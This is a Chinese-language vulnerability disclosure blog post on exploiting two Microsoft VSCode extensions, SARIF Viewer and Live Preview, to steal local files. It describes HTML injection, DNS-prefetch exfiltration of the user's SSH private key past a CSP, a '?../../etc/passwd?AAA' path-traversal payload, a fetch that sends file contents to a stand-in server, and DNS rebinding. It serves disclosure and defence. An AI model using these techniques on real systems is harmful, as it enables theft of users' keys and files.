簡短摘要:這篇兩部分的部落格系列將介紹我如何發現並揭露三個 VSCode 擴充功能漏洞,以及一個 VSCode 本身的漏洞(安全緩解繞過,編號 CVE-2022-41042,並獲得 7,500 美元獎金)。我們將找出每個漏洞的根本原因,並製作完整的攻擊程式,展示攻擊者如何入侵您的機器。同時,我們也會建議防止類似問題再次發生的方法。

幾個月前,我決定評估一些我們在稽核時常用的 VSCode 擴充功能的安全性。特別是兩個微軟擴充功能:SARIF viewer(協助視覺化靜態分析結果)和 Live Preview(直接在 VSCode 中渲染 HTML 檔案)。

為什麼你應該關心 VSCode 擴充功能的安全?正如我們將展示的,VSCode 擴充功能中的漏洞,尤其是那些解析潛在不受信任輸入的擴充功能,可能導致本地機器被攻陷。在我審查的兩個擴充功能中,我發現了高嚴重性漏洞,攻擊者可藉此竊取所有本地檔案。利用其中一個漏洞,攻擊者甚至能在擴充功能在背景執行時,當你瀏覽惡意網站時竊取你的 SSH 金鑰。

在研究過程中,我了解了 VSCode Webviews——這些是沙盒化的 UI 面板,與主擴充功能在不同的執行環境中運行,類似於一般網站中的 iframe,並研究如何逃脫它們。在本文中,我們將深入探討 VSCode Webviews 是什麼,並分析三個 VSCode 擴充功能漏洞,其中兩個導致任意本地檔案外洩。我們還會介紹一些有趣的利用技巧:利用 DNS 洩漏檔案以繞過嚴格的內容安全政策(CSP)、使用 srcdoc iframe 執行 JavaScript,以及利用 DNS rebinding 提升攻擊影響。

在後續的部落格文章中,我們將檢視 VSCode 本身的一個漏洞,該漏洞允許我們即使在配置良好的擴充功能中也能逃脫 Webview 的沙盒。

在深入漏洞之前,了解 VSCode 擴充功能的結構非常重要。VSCode 是一個 Electron 應用程式,擁有存取檔案系統和執行任意 shell 指令的權限;擴充功能也擁有相同權限。這意味著如果攻擊者能在 VSCode 擴充功能中執行 JavaScript(例如透過 XSS 漏洞),就能完全攻陷系統。

作為對 XSS 漏洞的多層防禦,擴充功能必須在沙盒化的 Webviews 中建立 UI 面板。這些 Webviews 無法存取 NodeJS API,而主擴充功能可利用這些 API 讀取檔案和執行 shell 指令。Webviews 可透過多種選項進一步限制:

enableScripts:若設為 false,Webview 不會執行 JavaScript。大多數擴充功能需要 enableScripts: true。

localResourceRoots:限制 Webviews 存取指定目錄外的檔案。預設為當前工作區目錄和擴充功能資料夾。

Content-Security-Policy(CSP):透過限制 Webview 可載入內容(圖片、CSS、腳本等)的來源,減輕 XSS 漏洞的影響。此政策透過 Webview HTML 原始碼中的 meta 標籤加入。

有時這些 Webview 面板需要與主擴充功能通訊以傳遞資料或請求無法自行執行的特權操作,這透過 postMessage() API 實現。

以下是一個簡單範例,展示如何建立 Webview 以及主擴充功能與 Webview 間的訊息傳遞。

Webview 內的 XSS 漏洞若符合以下條件,通常不會導致系統被攻陷:localResourceRoots 設定正確、CSP 限制內容來源正確,且 postMessage 處理器不易遭受命令注入等問題。但仍不應允許任意不受信任的 JavaScript 在 Webview 中執行;這些安全機制是多層防禦的一部分,類似瀏覽器不允許渲染程序執行任意程式碼,即使它已被沙盒化。

你可以在 VSCode 官方文件中閱讀更多關於 Webviews 及其安全模型的資訊。

了解 Webviews 後,讓我們看看我在研究中發現的三個漏洞,以及如何逃脫 Webviews 並在兩個微軟開發的 VSCode 擴充功能中外洩本地檔案。

微軟的 SARIF viewer 是一個解析 SARIF 檔案(大多數靜態分析工具輸出結果的 JSON 格式)並以可瀏覽列表顯示的 VSCode 擴充功能。

由於我在所有稽核中都使用 SARIF viewer 來整理靜態分析結果,我想知道它對載入不受信任的 SARIF 檔案的防護程度。不受信任的檔案可能來自不受信任來源下載,或更可能是執行靜態分析工具(如 CodeQL 或 Semgrep)時,惡意規則帶入可操控 SARIF 檔案的元資料(例如發現描述)。

在檢查渲染 SARIF 資料的程式碼時,我發現一段可疑程式碼,靜態分析結果的描述是用 ReactMarkdown 類別渲染,且 escapeHtml 選項設為 false。

由於 HTML 未被轉義,控制結果訊息的 markdown 欄位即可注入任意 HTML 和 JavaScript 到 Webview。我迅速製作了一個概念驗證(PoC),利用 img 標籤的 onerror 處理器自動執行 JavaScript。

這成功了!下圖展示了攻擊程式的運作。

這是簡單的部分。接著,我們要將此漏洞武器化,取得敏感本地檔案並外洩到我們的伺服器。

我們的 HTML 注入在 Webview 中,而 Webview 僅能讀取 localResourceRoots 指定範圍內的檔案。Webview 是用以下程式碼建立的:

localResourceRoots 設定非常寬鬆,允許 Webview 讀取磁碟上任何位置的檔案,甚至到 z: 磁碟!這表示我們可以讀取任何檔案,例如使用者的私鑰 ~/.ssh/id_rsa。

Webview 中無法直接開啟和讀取檔案,因為無法使用 NodeJS API。我們改用 fetch 請求 https://file+.vscode-resource.vscode-cdn.net/ ,若檔案存在且在 localResourceRoots 範圍內,檔案內容會在回應中返回。

要外洩 /etc/issue ,只需發出以下 fetch 請求即可。

接著,我們要將檔案內容送到遠端伺服器。通常這很簡單,我們會用 POST 或 GET 參數將檔案內容送出,例如 fetch('https://our.server.com?q=<b64_file_contents>')。

但 Webview 有嚴格的 CSP,connect-src 指令限制 fetch 只能到 self 和 https://*.vscode-cdn.net 。因為我們不控制這些來源,無法向攻擊者伺服器發送請求。

我們可以利用 DNS 技巧繞過限制!透過注入帶有 rel="dns-prefetch" 屬性的 <link> 標籤,即使在嚴格的 CSP connect-src 限制下,也能利用子網域洩漏檔案內容。

要外洩檔案,只需將檔案內容編碼為十六進位,並注入 <link> 標籤,href 指向攻擊者伺服器,並將編碼內容放在子網域中。每個子網域最多 64 字元(含點),整個子網域少於 256 字元。

結合這些技巧,我們能建構一個攻擊程式,外洩使用者 $HOME/.ssh/id_rsa 私鑰。以下是帶註解的攻擊程式。

這一切都因為擴充功能使用 ReactMarkdown 且 escapeHtml 設為 false,讓攻擊者能注入 JavaScript。再加上過於寬鬆的 localResourceRoots,攻擊者能讀取使用者檔案系統中的任何檔案。若 localResourceRoots 更嚴格,漏洞還能被利用嗎?敬請期待第二篇部落格!

為了自動偵測這類問題,我們改進了 Semgrep 的 ReactMarkdown 規則,請參考 PR #2307,並用 semgrep --config "p/react" 對 React 程式碼庫測試。

微軟的 Live Preview 擴充功能擁有超過百萬安裝量,允許你在 VSCode 內嵌瀏覽器預覽當前工作區的 HTML 檔案。我想知道是否能安全預覽惡意 HTML 檔案。

此擴充功能會在本機 3000 埠啟動 HTTP 伺服器,提供當前工作區目錄及其檔案。渲染檔案時,會在 Webview 面板內建立指向本機 HTTP 伺服器的 iframe(例如 <iframe src="http://localhost:3000/file.html">)。這種架構允許檔案執行 JavaScript 而不影響主 Webview(沙盒中的沙盒)。

內部預覽 iframe 與外部 Webview 使用 postMessage API 通訊。若要注入 HTML/JavaScript,postMessage 處理器是好起點!

不必找太久!link-hover-start 處理器存在 HTML 注入漏洞,因為它直接將 iframe 訊息(我們可控制內容)傳給 Webview 中元素的 innerHTML,且未做任何消毒,讓攻擊者能控制部分 Webview HTML。

直接設定 innerHTML 為 <script>alert(1)</script> 不會執行,因為 script 加入 DOM 但不會載入。幸好有技巧可繞過:將腳本寫入 srcdoc iframe,如下圖。

瀏覽器視 srcdoc iframe 與父視窗同源,因此即使逃出一層 iframe 並注入另一個 srcdoc iframe,該 iframe 仍能存取 Webview 的 DOM、全域變數與函式。

缺點是該 iframe 受 Webview 相同 CSP 限制。

與第一個漏洞不同,此 CSP 的 script-src 指令不包含 unsafe-inline,而是使用 nonce-based script-src。這表示我們必須知道 nonce 才能注入任意 JavaScript。我們有幾種方法:暴力破解 nonce、利用隨機性不足恢復 nonce,或洩漏 nonce。

nonce 是用以下程式碼產生:

雖然可無限嘗試 nonce,但 nonce 長度為 64,字元集有 62 個,暴力破解不切實際。

細心讀者可能注意到 nonce 產生函式使用 Math.random,這是非加密安全的隨機數生成器。Math.random 背後使用 xorshift128+ 演算法,給定 X 個隨機數可恢復內部狀態並預測過去與未來的隨機數。參考 V8 大會的 "Practical Exploitation of Math.random" 演講及狀態恢復實作。

我想在內部 iframe 重複呼叫 Math.random,恢復產生 nonce 的狀態。但內部 iframe、外部 Webview 與產生 nonce 的主擴充功能各自有不同的演算法狀態實例,無法如此恢復 nonce。

最後選擇洩漏 nonce。我搜尋 Webview 程式碼中將資料傳給內部 iframe 的 postMessage 處理器,希望能偷偷帶入 nonce。

最佳選擇是 findNext 函式,它將 find-input 元素的值傳給我們控制的 iframe。

我想讓 Webview 附加 nonce 到我們用 HTML 注入的「假」 find-input 元素。我試圖注入不完整元素如 <input id="find-input" value=" ,這會建立一個帶有 find-input ID 的「假」元素,且 value 屬性未關閉。但這注定失敗:

首先,我們無法跳脫設定 innerHTML 的元素,且完整寫入時不會包含 nonce。

其次,DOM 解析器不會解析上述 HTML,我們的元素會是空的。

最後,document.getElementById('find-input') 總是找到已存在元素,而非我們注入的。

此時陷入死胡同,CSP 有效阻止完整攻擊。但我想要更多!下一個漏洞將展示另一個我用來完全利用 Live Preview 擴充功能的漏洞,且不需在 Webview 注入 JavaScript。

因無法繞過 CSP,我轉向本地 HTTP 伺服器,該伺服器提供要預覽的 HTML 檔案。我想知道是否能從中取得任意檔案,還是只能取得當前工作區檔案?

HTTP 伺服器會提供當前工作區的任何檔案,允許 HTML 檔案載入同工作區的 JavaScript 或圖片。因此,若工作區同時有敏感檔案與惡意 HTML,惡意檔案可輕易取得並外洩敏感檔案。但這是設計使然,且使用者工作區通常不會同時有惡意與敏感檔案。那能否進一步外洩檔案系統其他位置的檔案?

以下是處理每個 HTTP 請求的簡化程式碼。

我想找到路徑穿越漏洞,讓我逃離 basePath 根目錄。

簡單嘗試 fetch("../../../../../../etc/passwd") 不成功,因瀏覽器會將請求正規化為 fetch("/etc/passwd")。但伺服器邏輯未防範此路徑穿越攻擊;以下 cURL 指令可取得 /etc/passwd 檔案!

瀏覽器無法做到這點,故此攻擊路徑不可行。但我注意到瀏覽器與 HTTP 伺服器解析 URL 的差異,可能讓我們成功路徑穿越。伺服器使用自訂邏輯解析 URL 查詢字串,未使用 JavaScript URL 類別,如下。

此程式碼用 lastIndexOf('?') 分割查詢字串,但瀏覽器是從第一個 ? 解析查詢字串。透過 fetch("?../../../../../../etc/passwd?AAA"),瀏覽器視 ../ 為查詢字串一部分(綠色部分),不會正規化。伺服器視 AAA 為查詢字串(藍色部分),URLPathName 變成 ?../../../../../../etc/passwd,path.join(basePath ?? '', URLPathName) 正規化為 /etc/passwd,成功路徑穿越!

若攻擊者控制使用者用 Live Preview 擴充功能開啟的檔案,即可利用此路徑穿越外洩任意使用者檔案與資料夾。

與漏洞一不同,此漏洞利用相當直接,步驟簡單:

先前攻擊場景僅在使用者預覽攻擊者控制檔案時有效,但利用此漏洞很難。還能更進一步!我們可利用 DNS rebinding 技術,讓受害者只需造訪攻擊者網站,且 Live Preview HTTP 伺服器在背景執行,即可提升漏洞影響。

DNS rebinding 攻擊中,攻擊者在兩個 IP(攻擊者伺服器 IP 與本地伺服器 IP,通常是 127.0.0.1)間切換域名的 DNS 紀錄。利用 JavaScript 不斷 fetch 這個變動域名,瀏覽器會誤以為同源,繞過 CORS 警告,讓攻擊者存取本地伺服器。詳見相關部落格說明。

我們的攻擊流程如下:

(註:若想重現此設定,確保 host 7f000001.c0a80d80.rbndr.us 會在兩個 IP 間切換。我在 Linux 機器上使用 8.8.8.8 DNS 伺服器測試成功。)

要竊取受害者本地檔案,需讓他們瀏覽 7f000001.c0a80d80.rbndr.us 網址,期望它解析到我們的伺服器並執行攻擊程式。攻擊頁面會持續用路徑穿越攻擊發送 fetch,直到瀏覽器發出 DNS 請求解析到 127.0.0.1,屆時我們取得敏感檔案內容。以下為帶註解攻擊程式。

Webviews 預設有強大防護與緩解措施,能最大限度降低漏洞影響。這很好,也確實阻止了漏洞二的完全攻陷!但這些漏洞也顯示,即使是微軟這類 VSCode 創建者開發的擴充功能,也可能配置錯誤。例如漏洞一就是 localResourceRoots 設定不當的明顯案例。

若你正在開發 VSCode 擴充功能並計畫使用 Webviews,建議遵循以下原則:

遵守這些原則,你的 VSCode 擴充功能將配置良好。這樣就不會出問題了吧?在第二篇部落格中,我們將檢視 VSCode 本身的一個漏洞,該漏洞允許我們即使在配置良好的擴充功能中也能逃脫 Webview 沙盒。